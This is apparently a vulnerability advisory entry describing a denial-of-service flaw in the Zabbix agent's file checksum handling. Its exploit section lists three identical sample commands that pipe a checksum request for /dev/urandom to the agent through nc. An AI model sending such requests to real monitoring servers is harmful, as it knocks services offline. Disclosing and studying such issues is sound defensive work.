• info
• discussion
• exploit
• solution
• references

ZABBIX File Checksum Request Denial of Service Vulnerability

An attacker can exploit this issue by using readily available network utilities.

The following sample requests are available:

echo "vfs.file.cksum[/dev/urandom]" | nc localhost
echo "vfs.file.cksum[/dev/urandom]" | nc localhost
echo "vfs.file.cksum[/dev/urandom]" | nc localhost